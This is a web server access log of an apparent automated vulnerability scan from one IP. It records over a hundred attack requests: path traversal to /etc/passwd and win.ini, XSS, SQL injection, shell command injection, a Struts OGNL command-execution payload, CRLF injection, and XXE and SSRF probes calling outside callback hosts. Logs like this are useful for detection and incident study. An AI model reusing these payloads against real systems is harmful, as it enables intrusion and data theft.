[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings[source_file]=../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-content/plugins/buddypress-component-stats/lib/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /password_change.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tools/sourceViewer/index.html?filename=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /redirector.php?do=nodelay&url=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /scripts/wa.exe?OK=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/download-manager/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/users HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /base_import/static/c:/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1" 199
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /catalog.php?filename=../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /session_login.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/login_mgr.cgi?C1=ON&cmd=login&f_type=1&f_username=admin&port=80%7Cpwd%26id&pre_pwd=1&pwd=%20&ssl=1&ssl_port=1&username HTTP/1.1" 199
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/insert-php/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /password.jsn HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mnt/overlay/dam/gui/content/assets/metadataeditor.external.html?item=$%7b838204*823404%7d HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /addons/phpmailer/phpmailer.php HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /apply_sec.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/checklist/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ssi/printenv.shtml?%3Cscript%3Ealert%281316929493%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /action/usermanager.htm HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/config.exp HTTP/1.1" 199
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-json/visualizer/v1/update-chart HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23 HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/?n=language&c=language_general&a=doExportPack HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pages/systemcall.php?command=cat%20/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /osm/REGISTER.cmd HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/?n=product&c=product_admin&a=dopara&app_type=shop&id=1%20union%20SELECT%201,2,3,25367*75643,5,6,7%20limit%205,1%20%23 HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/visualizer/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ui/api/v1/ui/auth/login HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/?n=language&c=language_general&a=doSearchParameter&editor=cn&word=search&appno=0+union+select+98989*443131,1--+&site=admin HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?pum_action=tools_page_tab_system_info HTTP/1.1" 3426
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /solr/admin/cores?wt=json HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /debug/pprof/goroutine?debug=1 HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /servlet/UploadServlet HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /page/sl_logdl?dcfct=DCMlog.download_log&dbkey%3Asyslog.rlog=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/search/..%5C..%5C..%5Cconf%5Copenfire.xml HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /getFavicon?host=http://oast.fun/ HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /whoAmI/ HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /crowd/plugins/servlet/exp HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/pw_snmp.html HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jnoj/web/polygon/problem/viewfile?id=1&name=../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //myaccount/javax.faces.resource./WEB-INF/web.xml.jsf?ln=.. HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api-third-party/download/extdisks../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /scripts/unlock_tasks.php?cycle=1%20UNION%20ALL%20SELECT%201,(@@version)--%20&only_tasks=1 HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/calendar/minimizer/index.php?style=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc%5cpasswd HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /_syslog.txt HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Login?!'><sVg/OnLoAD=alert`1337`// HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/hmapsprem/views/dashboard/index.php?p=/wp-content/plugins/hmapsprem/foo%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fwin.ini HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/autosuggest-remote.php?q=\"><img%20src=x%20onerror=alert(1)> HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /getcfg.php HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /boafrm/formSysCmd HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MicroStrategyLibrary/auth/ui/loginPage?loginMode=alert(document.domain) HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?search_term=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&location_search&nearby=off&address_lat&address_lng&distance=10&lcats%5B%5D HTTP/1.1" 3426
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/auth/reset-password HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /....%5C....%5C....%5C....%5C....%5C....%5C....%5C....%5C....%5Cwindows%5Cwin.ini HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /pandora_console/index.php?login=1 HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Collector/diagnostics/ping HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin.php?page=download_report&report=users&status=all HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cs/Satellite?pagename=OpenMarket/Xcelerate/Admin/WebReferences HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cs/Satellite?pagename=OpenMarket/Xcelerate/Admin/WebReferences HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vpn/../vpns/cfg/smb.conf HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plus/pass_reset.php?L=english&pmc_username=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cs/Satellite?pagename=OpenMarket%2FXcelerate%2FActions%2FSecurity%2FProcessLoginRequest&WemUI=qqq%27;}%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /query?db=db&q=SHOW%20DATABASES HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Collector/diagnostics/trace_route HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.action?redirectAction:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /dashboard/uploadID.php HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /xmlpserver/ReportTemplateService.xls HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /xmlpserver/convert?xml=<%3fxml+version%3d\"1.0\"+%3f><!DOCTYPE+r+[<!ELEMENT+r+ANY+><!ENTITY+%25+sp+SYSTEM+\"http%3a//d5g6to2hausk1oj0j65gpgh4zq9pfxdeo.oast.live/xxe.xml\">%25sp%3b%25param1%3b]>&_xf=Excel&_xl=123&template=123 HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /rest/tinymce/1/macro/preview HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-content/plugins/abstract-submission/dompdf-0.5.1/dompdf.php?input_file=php://filter/resource=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WealthT24/GetImage?docDownloadPath=c:/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bugs/verify.php?confirm_hash&id=1 HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /secure/ManageFilters.jspa?filter=popular&filterView=popular HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Collector/appliancesettings/applianceSettingsFileTransfer HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wls-wsat/CoordinatorPortType HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /__r2/query-printRows.view?schemaName=ListManager&query.queryName=ListManager&query.sort=Nameelk5q%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ezp59r&query.containerFilterName=CurrentAndSubfolders&query.selectionKey=%24ListManager%24ListManager%24%24query&query.showRows=ALL HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /labkey/__r1/login-login.view?returnUrl=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/file_transfer.cgi HTTP/1.1" 199
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web/static/c:/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /adxmlrpc.php HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /node/1?_format=hal_json HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /objects/getImage.php?base64Url=YGlkID4gb2l6b2EudHh0YA===&format=png HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/api/2/user/picker?query HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?pma_servername=d5g6to2hausk1oj0j65gmxhj9m46p1n1j.oast.live&pma_username=380DIYx8mVzA3tv1vDKrczmeYHz&pma_password=380DIYx8mVzA3tv1vDKrczmeYHz&server=1 HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sell-media-search/?keyword=%22%3E%3Cscript%3Ealert%281337%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /rpc.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1" 220
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%0d%0aSet-Cookie:crlfinjection=1; HTTP/1.1" 199
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /apply_sec.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapp/?fccc%27\\%22%3E%3Csvg/onload=alert(/xss/)%3E HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /photo/p/api/album.php HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /badging/badge_template_v0.php?layout=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /card_scan.php?No=30&ReaderNo=%60cat%20/etc/passwd%20%3E%20QXsZIuIivX.txt%60 HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /updating.jsp?url=https://interact.sh/ HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?c=../../../../../../etc/passwd%00 HTTP/1.1" 3426
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/supportInstaller HTTP/1.1" 199
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /service/extdirect HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /kindeditor/php/demo.php HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /osm_tiles/REGISTER.cmd HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/timelion/run HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /content/380DIDmYTSlLCQMXnd0BJV1YmYd HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.txt HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /s/380DITQNA8evLlrVL6TeYlXxqkD/_/WEB-INF/classes/META-INF/maven/com.atlassian.jira/jira-core/pom.xml HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /rest/issueNav/1/issueTable HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hoteldruid/visualizza_tabelle.php?anno=2019&id_sessione&tipo_tabella=prenotazioni&subtotale_selezionate=1&num_cambia_pren=1&cerca_id_passati=1&cambia1=3134671%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/login HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wavemaker/studioService.download?method=getContent&inUrl=file///etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /search/ HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/var/www/html/index.html HTTP/1.1" 226
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.%00./.%00./etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/component/jemessenger/box_details?task=download&dw_file=../../.././../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //SupportPortlet/faces/javax.faces.resource/web.xml?loc=../WEB-INF HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /plugins/servlet/gadgets/makeRequest HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /artifactory/ui/auth/login?_spring_security_remember_me=false HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/ClientAjax HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/social-warfare/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?mp_idx=%22;alert(%271%27);// HTTP/1.1" 3426
